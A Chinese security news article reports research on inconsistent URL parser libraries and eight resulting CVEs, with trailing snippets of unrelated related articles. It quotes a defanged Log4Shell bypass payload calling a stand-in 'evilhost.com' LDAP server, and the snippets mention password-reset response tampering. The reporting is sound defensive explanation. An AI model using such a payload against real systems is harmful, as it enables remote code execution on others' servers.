研究人员在广泛使用的 URL 解析器库中发现漏洞

一颗小胡椒2022-01-11 10:30:15

日前,有研究人员对 16 个不同的统一资源定位符( URL )解析库进行调研后,发现了不一致和混乱的情形,它们可以被不法分子用来绕过验证机制,为众多攻击途径敞开大门。随后,两家网络安全公司 Claroty 和 Synk 联合开展了深入的分析工作,结果发现,用C 、JavaScript 、 PHP 、 Python 和 Ruby 等语言编写的许多第三方库存在 8 个安全漏洞,多个 Web 应用程序使用这些第三方库。

发现的8个漏洞包括Belledonne’s SIP Stack(C,CVE-2021-33056)、Video.js(JavaScript,CVE-2021-23414)、Nagios XI(PHP,CVE-2021-37352)、Flask-security(Python,CVE-2021-23385)、Flask-security-too(Python,CVE-2021-32618)、Flask-unchained(Python,CVE-2021-23393)、Flask-User(Python,CVE-2021-23401)、Clearance(Ruby,CVE-2021-23435),所有这些漏洞此后已由各自的维护人员修复。

研究人员表示:“ URL 解析中的混乱可能导致软件(比如 Web 应用程序)出现异常行为,可能被威胁分子用来引发拒绝服务攻击、泄露信息,或可能实施远程代码执行攻击。”由于 URL 是一种用来请求和检索位于本地或 Web 上资源的基本机制,解析库如何解释 URL 请求方面的差异可能会给用户带来重大风险。一个典型例子是 2021 年 12 月在 Log4j 日志框架中暴露的 Log4Shell 严重漏洞。该漏洞源于攻击者控制的恶意字符串被评估、并由易受攻击的应用程序记录时,导致 JNDI 查询连接到攻击者运行的服务器,从而执行任意 Java 代码。虽然 Apache 软件基金会( ASF )迅速发布了补丁以修复漏洞,但人们很快发现,输入精心设计的内容(格式为“ ${jndi:ldap://127.0.0[.] 1#.evilhost.com:1389/a}”),可以绕过缓解措施,再次允许远程 JNDI 查询执行代码。

研究人员表示:“这种绕过源于在 JNDI 查询过程中使用了两个不同的 URL 解析器,一个解析器用于验证 URL ,另一个用于获取 URL ;URL 的 Authority 部分也发生变化,这取决于每个解析器如何处理 URL 的 Fragment 部分(#)。” 具体来说,如果输入作为常规的 HTTP URL 来处理, Authority 部分(域名和端口号的组合)一遇到 fragment 标识符就结束;而作为 LDAP URL 来处理时,解析器会分配整个“127.0.0[.]1#.evilhost.com:1389”作为 Authority ,因为 LDP URL 规范不考虑该 fragment 。

的确,使用多个解析器是这8个漏洞出现的主要原因之一,还有一个原因是,库遵循不同的 URL 规范时存在不一致,从而导致了问题,这实际上带来了可利用的漏洞。不一致的情形多种多样,如 URL 含有反斜杠(“\”)、不规则数量的斜杠(比如https:///www.example[.]com)或 URL 编码数据(“%”), 以及 URL 缺少 URL 方案等,这后一种情形可被用来实施远程代码执行攻击,甚至发动拒绝服务( DoS )和开放重定向网络钓鱼攻击。研究人员表示:“许多实际的攻击场景可能来自不同的解析原语。”为了保护应用程序免受 URL 解析漏洞的影响,“有必要充分了解整个过程中牵涉哪些解析器,以及解析器之间的差异,了解它们如何解释不同格式、有误的 URL 以及它们支持哪些类型的 URL 。”

网络安全url
本作品采用《CC 协议》,转载必须注明作者和本文链接
ShodanShodan是一款功能强大的OSINT工具,Shodan可以监控和搜索的网络数据范围令人震惊。安全分析师可以通过ZoomEye方便地了解网络资产分布情况及漏洞的危害范围等信息。此外,它还支持验证企业的电子邮件账户,以识别潜在的数据泄漏威胁。WiGLEWiGLE搜索引擎致力于收集全球各地的Wi-Fi热点,目前已涵盖了超过10亿个无线网络。
周二,微软宣布将要推出Security Copilot,一款由人工智能驱动的安全分析助手,据说它能够协助网络安全团队快速响应处理威胁、评估报告安全风险。微软还在其官网上演示了Security Copilot的以下几种功能:事件响应:识别正在进行的攻击,评估其规模,并获取说明,以根据来自真实安全案例的成熟策略开始补救。一次检查一个资产的环境,以查找违规证据。
URL黑白名单URL黑白名单用于允许或禁止某些特定的URL,处理简单直接,白名单允许访问、黑名单禁止访问。当用户访问的URL隶属于对应URL分类时,则按该分类的响应动作进行处理。这种机制减少远程查询,加快URL过滤处理速度。确保URL过滤不会意外禁止业务正常所需的网站。尤其恶意软件、钓鱼网站必须禁止,降低安全风险。因此应用控制和URL过滤两者各有应用场景,相辅相成。
当我们输入正确的手机号和正确的短信验证码,然后进入重置密码的最后一步,也就是输入新的密码输入密码后提交到服务端的post数据包需要包含当前用户的身份信息。修改响应包重置任意账号密码:通过手机找回密码一般需要短信验证码验证,服务端需要告诉客户端,输入的验证码是否正确。
网络安全研究人员和IT管理员对谷歌新的ZIP和MOV互联网域名提出了担忧,警告说攻击者可能利用它们进行网络钓鱼攻击和恶意软件传输。因此,人们发布含有以.zip和.mov为扩展名的文件名是非常常见的。当BleepingComputer就这些问题联系谷歌时,他们表示,文件和域名之间的混淆风险是长期存在的,浏览器的保护措施已经部署,以保护用户免受干扰。
网络安全头条
2023-03-13 10:44:21
这些有效载荷允许其他攻击者远程访问该设备,并在被攻击的网络中进一步传播最终导致数据被盗。Jenkins根据调查表示,利用这些漏洞可能允许未经身份验证的攻击者在受害者的服务器上执行任意代码,可能导致服务器完全受损。目前,Jenkins已修补漏洞,发布了版本更新。
作为拥有着10年经验的渗透安全测试工程师,一路也是从小白历经磨难成长起来的我,给现在的新手小白一些建
针对DVWA编写一个用于辅助SQL注入的工具
移动设备的端点安全是一种网络安全措施,允许组织保护其网络上的所有设备,防止未经授权的访问其系统。它有助于减少攻击面,实时检测和预防威胁,并自动响应安全事件。它使用加密技术防止数据丢失,并使组织能够快速检测恶意软件和其他安全威胁。CASB在保护企业免受云传播的安全威胁、确保数据隐私和法规遵从方面发挥着越来越重要的作用。
修补程序管理应包括组织内的所有资产。虽然会造成操作上的不便,但有必要确保业务安全。该政策应由员工阅读和确认,并应成为新员工入职流程的一部分。注意公共WIFI企业应具有严格控制的Wi-Fi系统,并为那些不需要访问公司资源的人提供访客网络。自动锁定时间应由组织内的高级管理层批准。时刻保持警惕警惕性是保持网络安全意识的最佳动力之一。
一颗小胡椒
暂无描述